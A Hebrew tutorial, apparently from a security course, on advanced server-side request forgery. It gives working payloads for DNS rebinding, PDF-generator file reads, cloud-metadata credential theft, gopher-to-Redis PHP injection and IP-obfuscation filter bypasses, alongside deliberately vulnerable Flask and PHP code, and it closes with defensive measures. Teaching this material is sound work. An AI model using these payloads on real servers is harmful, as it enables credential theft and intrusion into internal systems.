לדלג לתוכן

SSRF מתקדם - Server-Side Request Forgery

חזרה על SSRF בסיסי

בקורס הבסיסי למדנו ש-SSRF היא חולשה שבה התוקף מנצל את השרת כדי לשלוח בקשות HTTP למקומות שלא היו אמורים להיות נגישים. ראינו כיצד ניתן לגשת לשירותים פנימיים דרך הזנת כתובות כמו http://localhost או http://127.0.0.1.

בשיעור זה נתעמק בטכניקות מתקדמות של SSRF - עקיפת הגנות, שימוש בפרוטוקולים שונים, וניצול הבדלים בין מפענחי כתובות.


SSRF עיוור - Blind SSRF

ב-SSRF עיוור, השרת מבצע את הבקשה אבל לא מחזיר את התשובה ישירות לתוקף. אנחנו יודעים שהבקשה בוצעה, אבל לא רואים את התוכן.

זיהוי באמצעות טכניקות Out-of-Band

השיטה העיקרית לזהות SSRF עיוור היא לגרום לשרת לשלוח בקשה לשרת שבשליטתנו:

https://vulnerable-app.com/fetch?url=https://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net

כלים לזיהוי:
- Burp Collaborator - כלי מובנה ב-Burp Suite שמספק תת-דומיין ייחודי ומאזין ל-DNS ו-HTTP
- webhook.site - שירות חינמי שמספק כתובת URL ומציג בקשות נכנסות
- interactsh - כלי קוד פתוח של ProjectDiscovery

# דוגמה לקוד פגיע ל-Blind SSRF
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/check-url')
def check_url():
    url = request.args.get('url')
    try:
        # השרת שולח בקשה אבל לא מחזיר את התוכן
        response = requests.get(url, timeout=5)
        return f"Status: {response.status_code}"
    except:
        return "Error"

התוקף לא מקבל את גוף התשובה, אבל יכול לדעת שהבקשה בוצעה דרך:
- קוד הסטטוס שמוחזר
- זמן התגובה (time-based blind SSRF)
- בקשת DNS/HTTP שמגיעה לשרת שלו


DNS Rebinding - עקיפת בדיקות מבוססות IP

כיצד DNS Rebinding עובד

הגנות רבות נגד SSRF עובדות כך:
1. מפענחים את ה-DNS של הכתובת שהמשתמש שלח
2. בודקים שה-IP לא פנימי (לא 127.0.0.1, לא 10.x.x.x וכו')
3. אם ה-IP תקין - שולחים את הבקשה

ב-DNS Rebinding אנחנו מנצלים את הפער בין שלב הבדיקה לשלב השליחה:

שלב 1: התוקף מחזיק דומיין attacker.com
שלב 2: שרת ה-DNS של attacker.com מוגדר עם TTL קצר מאוד (0-1 שניות)
שלב 3: בפעם הראשונה שהשרת מבקש DNS - מחזירים IP חיצוני (1.2.3.4) → עובר בדיקה
שלב 4: בפעם השנייה (הבקשה בפועל) - מחזירים IP פנימי (127.0.0.1) → SSRF

כלים לביצוע DNS Rebinding

rbndr.us - שירות שמחזיר תשובות DNS מתחלפות:

# הפורמט: A-B.rbndr.us
# מחליף בין שתי כתובות IP
http://7f000001-01020304.rbndr.us/internal-path
# 7f000001 = 127.0.0.1 (hex)
# 01020304 = 1.2.3.4 (hex)

Singularity of Origin - כלי מתקדם יותר:

# התקנה
git clone https://github.com/nccgroup/singularity.git
cd singularity
go build -o singularity cmd/singularity-of-origin/main.go

# הפעלה
./singularity -HTTPServerPort 8080 -ResponseIPAddr 127.0.0.1

דוגמה מלאה של תקיפת DNS Rebinding

# קוד הגנה "מאובטח" שפגיע ל-DNS Rebinding
import socket
import ipaddress
import requests

def is_internal_ip(ip):
    addr = ipaddress.ip_address(ip)
    return addr.is_private or addr.is_loopback

def fetch_url(url):
    from urllib.parse import urlparse
    hostname = urlparse(url).hostname

    # שלב 1: בדיקת DNS
    ip = socket.gethostbyname(hostname)
    if is_internal_ip(ip):
        return "Blocked: Internal IP"

    # שלב 2: שליחת בקשה (DNS Rebinding - ה-IP כבר השתנה!)
    return requests.get(url).text

SSRF דרך מחוללי PDF

אפליקציות רבות מייצרות קבצי PDF מ-HTML - חשבוניות, דוחות, כרטיסי טיסה. אם התוקף שולט בתוכן ה-HTML, הוא יכול לנצל את מנוע ה-PDF לביצוע SSRF.

מנועי PDF נפוצים

  • wkhtmltopdf - מבוסס על WebKit ישן
  • Chromium Headless - דפדפן מלא ללא ממשק
  • WeasyPrint - מנוע Python

שימוש בתגיות HTML ל-SSRF

<!-- טעינת תוכן מכתובת פנימית -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="100%" height="500px"></iframe>

<!-- קריאת קובץ מקומי -->
<iframe src="file:///etc/passwd" width="100%" height="500px"></iframe>

<!-- שימוש בתגית img -->
<img src="http://internal-server:8080/admin">

<!-- שימוש בתגית link -->
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">

<!-- שימוש ב-CSS -->
<style>
@import url('http://internal-server/secret');
</style>

הרצת JavaScript בהקשר של PDF

מנועים מבוססי דפדפן (wkhtmltopdf, Chromium) תומכים ב-JavaScript:

<script>
// קריאת קובץ מקומי
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', false);
xhr.send();
document.write('<pre>' + xhr.responseText + '</pre>');
</script>
<script>
// SSRF דרך JavaScript
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(data => {
    document.write('<pre>' + data + '</pre>');
  });
</script>

דוגמה לאפליקציה פגיעה

# Flask app שמייצרת PDF מ-HTML של המשתמש
from flask import Flask, request, send_file
import pdfkit

app = Flask(__name__)

@app.route('/generate-pdf', methods=['POST'])
def generate_pdf():
    html_content = request.form.get('html')
    # מייצרת PDF מ-HTML לא מסונן - פגיע!
    pdfkit.from_string(html_content, 'output.pdf')
    return send_file('output.pdf')

הבדלים בין מפענחי כתובות - URL Parser Differentials

ספריות שונות מפרשות כתובות URL בצורה שונה. ניתן לנצל את ההבדלים כדי לעקוף הגנות.

ניצול סימן @

לפי תקן ה-URL, מה שלפני @ הוא שם משתמש:

http://attacker.com@internal-server/admin

ספריות מסוימות ישלחו את הבקשה ל-internal-server, בעוד שההגנה בדקה את attacker.com.

from urllib.parse import urlparse

# Python urllib
url = "http://evil.com@127.0.0.1/"
parsed = urlparse(url)
print(parsed.hostname)  # 127.0.0.1
print(parsed.netloc)    # evil.com@127.0.0.1

בלכסן לאחור מול לכסן קדימה - Backslash vs Forward Slash

http://attacker.com\@internal-server/

חלק מהמפענחים מתייחסים ל-\ כ-/ וחלק לא, מה שיוצר בלבול.

Unicode בכתובות URL

http://127.0.0.1%E3%80%82evil.com
# %E3%80%82 = Unicode full-stop, חלק מהמפענחים מתייחסים אליו כנקודה

בלבול פרוטוקולים - Scheme Confusion

# קריאת קבצים מקומיים
file:///etc/passwd

# פרוטוקול gopher - שולח נתונים גולמיים לפורט
gopher://127.0.0.1:6379/_SET%20key%20value

# פרוטוקול dict - לתקשורת עם שירותים פנימיים
dict://127.0.0.1:6379/SET:key:value

דוגמה לניצול gopher נגד Redis

# שליחת פקודות Redis דרך gopher
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$4%0D%0Atest%0D%0A$18%0D%0A<?php%20phpinfo();?>%0D%0A

# פירוש הפקודה:
# SET test "<?php phpinfo();?>"

טשטוש כתובות IP - IP Address Obfuscation

ישנן דרכים רבות לייצג את אותה כתובת IP, מה שמאפשר לעקוף הגנות מבוססות מחרוזת.

ייצוג עשרוני - Decimal IP

http://2130706433
# 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
# חישוב ייצוג עשרוני
import struct
ip = "127.0.0.1"
decimal = struct.unpack("!I", bytes(map(int, ip.split("."))))[0]
print(decimal)  # 2130706433

ייצוג הקסדצימלי - Hex IP

http://0x7f000001
http://0x7f.0x00.0x00.0x01

ייצוג אוקטלי - Octal IP

http://0177.0.0.1
http://0177.0000.0000.0001

IPv6

http://[::1]
http://[0000:0000:0000:0000:0000:0000:0000:0001]
http://[::ffff:127.0.0.1]

ייצוגים מעורבים

http://0x7f.0.0.01          # hex + octal
http://0177.0x00.0.1        # octal + hex + decimal
http://127.0.0.1.nip.io     # DNS שמצביע ל-127.0.0.1
http://localtest.me          # DNS שמצביע ל-127.0.0.1
http://spoofed.burpcollaborator.net  # DNS מותאם

סקריפט לייצור כל הפורמטים

import struct

def generate_ip_representations(ip):
    parts = list(map(int, ip.split(".")))
    decimal = struct.unpack("!I", bytes(parts))[0]

    representations = [
        ip,
        str(decimal),
        hex(decimal),
        f"0{oct(parts[0])[2:]}.0{oct(parts[1])[2:]}.0{oct(parts[2])[2:]}.0{oct(parts[3])[2:]}",
        f"0x{parts[0]:02x}.0x{parts[1]:02x}.0x{parts[2]:02x}.0x{parts[3]:02x}",
        f"[::ffff:{ip}]",
    ]

    if ip == "127.0.0.1":
        representations.extend([
            "[::1]",
            "localtest.me",
            "127.0.0.1.nip.io",
        ])

    return representations

for r in generate_ip_representations("127.0.0.1"):
    print(r)

שילוב טכניקות לעקיפת פילטרים

כשמתמודדים עם הגנות מרובות, צריך לשלב טכניקות:

# פילטר חוסם "127.0.0.1" ו-"localhost"?
http://0x7f000001/admin

# פילטר חוסם גם ייצוגים מספריים?
http://localtest.me/admin

# פילטר בודק DNS אבל לא מונע DNS Rebinding?
http://7f000001-01020304.rbndr.us/admin

# פילטר חוסם HTTP אבל לא פרוטוקולים אחרים?
gopher://127.0.0.1:6379/_KEYS%20*

# פילטר מבוסס Regex שבודק hostname?
http://evil.com@127.0.0.1/admin
http://127.0.0.1%23@evil.com  # fragment confusion

דוגמה ל-SSRF ב-PHP

<?php
// קוד PHP פגיע ל-SSRF
$url = $_GET['url'];

// "הגנה" חלשה
$parsed = parse_url($url);
$host = $parsed['host'];

// בודק רק את המחרוזת
$blocked = ['127.0.0.1', 'localhost', '0.0.0.0'];
if (in_array($host, $blocked)) {
    die("Blocked!");
}

// ניתן לעקוף עם:
// ?url=http://0x7f000001/admin
// ?url=http://127.1/admin (shorthand)
// ?url=http://[::1]/admin

$content = file_get_contents($url);
echo $content;
?>

הגנות

גישת Whitelist

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['http', 'https']

def safe_fetch(url):
    parsed = urlparse(url)

    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("Scheme not allowed")

    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("Host not allowed")

    return requests.get(url, allow_redirects=False)

פתרון DNS וולידציה של IP

import socket
import ipaddress

def safe_fetch(url):
    parsed = urlparse(url)
    hostname = parsed.hostname

    # פתרון DNS
    ip = socket.gethostbyname(hostname)
    addr = ipaddress.ip_address(ip)

    # חסימת טווחים פרטיים
    if addr.is_private or addr.is_loopback or addr.is_reserved:
        raise ValueError(f"Blocked IP: {ip}")

    # חשוב: שליחת הבקשה ישירות ל-IP שאומת
    # כדי למנוע DNS Rebinding
    response = requests.get(
        url.replace(hostname, ip),
        headers={'Host': hostname},
        allow_redirects=False
    )
    return response

חסימת פרוטוקולים מיותרים

# ברמת הרשת - iptables
# חסימת גישה של השרת לטווחים פנימיים
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.0.0/16 -j DROP

סיכום

טכניקה שימוש קושי
Blind SSRF זיהוי SSRF כשאין תשובה ישירה בינוני
DNS Rebinding עקיפת בדיקות IP גבוה
SSRF דרך PDF ניצול מחוללי מסמכים בינוני
הבדלי מפענחים עקיפת Regex והגנות מחרוזת בינוני
טשטוש IP עקיפת Blacklist נמוך
שילוב טכניקות תקיפה של הגנות מרובות גבוה

הנקודה המרכזית: הגנה אמיתית נגד SSRF דורשת גישת Whitelist, ולידציה ברמת הרשת, וחסימת פרוטוקולים מיותרים. הגנה מבוססת Blacklist תמיד ניתנת לעקיפה.